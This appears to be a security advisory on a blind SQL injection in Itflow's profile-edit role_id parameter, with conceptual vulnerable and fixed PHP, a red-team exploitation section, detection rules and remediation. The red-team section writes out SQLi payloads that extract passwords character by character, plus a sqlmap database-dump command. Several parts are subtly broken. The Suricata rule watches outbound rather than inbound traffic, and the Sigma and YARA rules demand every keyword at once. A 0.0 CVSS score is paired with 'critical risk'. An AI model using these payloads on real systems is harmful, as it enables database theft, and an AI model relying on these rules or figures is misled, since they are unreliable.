CVE-2025-67081

Executive Summary

CVE-2025-67081 is a blind SQL injection vulnerability discovered in Itflow (up to version 25.06). The flaw resides in the role_id parameter when editing a user profile. An authenticated attacker with admin privileges can exploit this to extract arbitrary data from the database due to insufficient sanitization of an integer parameter. No public proof-of-concept, exploit code, or patch is currently available. The vulnerability is classified under CWE-89 (SQL Injection) and aligns with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

Supply Chain & Package Security

Itflow is not an NPM, PyPI, Go, or Ruby package; it is a standalone web application. No supply chain implications are identified at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin account)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High – Although admin privileges are required, the ability to extract arbitrary data and potentially escalate to full database compromise makes this a critical risk for affected deployments.

Deep Dive & Mechanics

The vulnerability exists in the profile editing functionality of Itflow. The role_id parameter is passed directly into a SQL query without proper type casting or sanitization. Since the parameter is expected to be an integer, the application fails to validate that the input is numeric, allowing an attacker to inject SQL commands via blind SQL injection techniques (e.g., time-based or boolean-based).

Root Cause:

• Insufficient input validation on the role_id parameter.
• No use of parameterized queries or prepared statements.

Attack Flow:

1. Attacker logs in with admin credentials.
2. Navigates to profile editing endpoint.
3. Modifies the role_id parameter to include SQL injection payloads.
4. Observes response times or boolean responses to extract data character by character.

Impact:

• Full database read access (user credentials, sensitive data).
• Potential for data exfiltration and further lateral movement.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$role_id = $_POST['role_id'];
$query = "UPDATE users SET role_id = $role_id WHERE id = $user_id";
mysqli_query($conn, $query);

Patched Code (Conceptual):

$role_id = (int)$_POST['role_id']; // Cast to integer
$query = "UPDATE users SET role_id = ? WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "ii", $role_id, $user_id);
mysqli_stmt_execute($stmt);

Key Difference:

• Vulnerable: Direct string interpolation without sanitization.
• Patched: Type casting and parameterized queries prevent injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials for Itflow.
• Network access to the Itflow web interface.

Manual Exploitation Steps:

1. Intercept the profile edit request (e.g., using Burp Suite).
2. Modify the role_id parameter to test for blind SQL injection:

   POST /edit_profile HTTP/1.1
   Host: target.com
   ...
   role_id=1 AND 1=1-- -
   

3. Use time-based payloads to confirm injection:

   role_id=1; IF(1=1, SLEEP(5), 0)--
   

4. Extract data using boolean-based techniques:

   role_id=1 AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'--
   

Automated Exploitation (sqlmap):

sqlmap -u "http://target.com/edit_profile" --data="role_id=1" --cookie="session=..." --level=5 --risk=3 --batch --dbs

Blue Team (Detection & Defense)

Detection:

• Monitor for abnormal SQL query patterns in database logs.
• Alert on requests with role_id containing SQL keywords (AND, OR, SLEEP, UNION).
• Use WAF rules to block non-numeric role_id values.

Defense:

• Apply input validation: ensure role_id is strictly an integer.
• Use parameterized queries or stored procedures.
• Implement least privilege for database accounts.
• Enable detailed logging and anomaly detection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /edit_profile with role_id containing SQL keywords.
  • Unusual response delays (time-based injection).
• Log IOCs:
  • Database logs showing queries with role_id containing AND, OR, SLEEP, UNION.
  • Repeated failed login attempts followed by profile edits.
• File IOCs:
  • Modified application files (if attacker uploads webshell).
• Behavioral IOCs:
  • Admin account performing profile edits at unusual hours.
  • Large data exfiltration from database.

Detection Engineering

YARA Rule

rule CVE_2025_67081_SQLi_Itflow {
    meta:
        description = "Detects SQL injection attempts targeting Itflow role_id parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67081"
    strings:
        $sqli1 = "role_id=" nocase
        $sqli2 = "AND" nocase
        $sqli3 = "OR" nocase
        $sqli4 = "SLEEP" nocase
        $sqli5 = "UNION" nocase
        $sqli6 = "SELECT" nocase
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2025-67081 SQL Injection Attempt on Itflow
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects SQL injection attempts against Itflow role_id parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'role_id='
        cs-uri-query|contains|all:
            - 'AND'
            - 'OR'
            - 'SLEEP'
            - 'UNION'
    condition: selection
falsepositives:
    - Legitimate use of 'AND' in non-malicious context (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67081 SQL Injection Attempt on Itflow"; flow:to_server,established; content:"POST"; http_method; content:"/edit_profile"; http_uri; content:"role_id="; http_client_body; pcre:"/(AND|OR|SLEEP|UNION|SELECT)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Itflow to a patched version (if/when available).
2. Apply virtual patching via WAF: block role_id values containing non-numeric characters.
3. Restrict admin account access to trusted IPs only.

Long-Term Fixes:

• Implement parameterized queries for all database interactions.
• Conduct code audit for similar injection flaws.
• Enforce strict input validation (type casting, whitelisting).

Workarounds:

• Disable profile editing functionality for admin accounts if not critical.
• Monitor database logs for suspicious queries.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert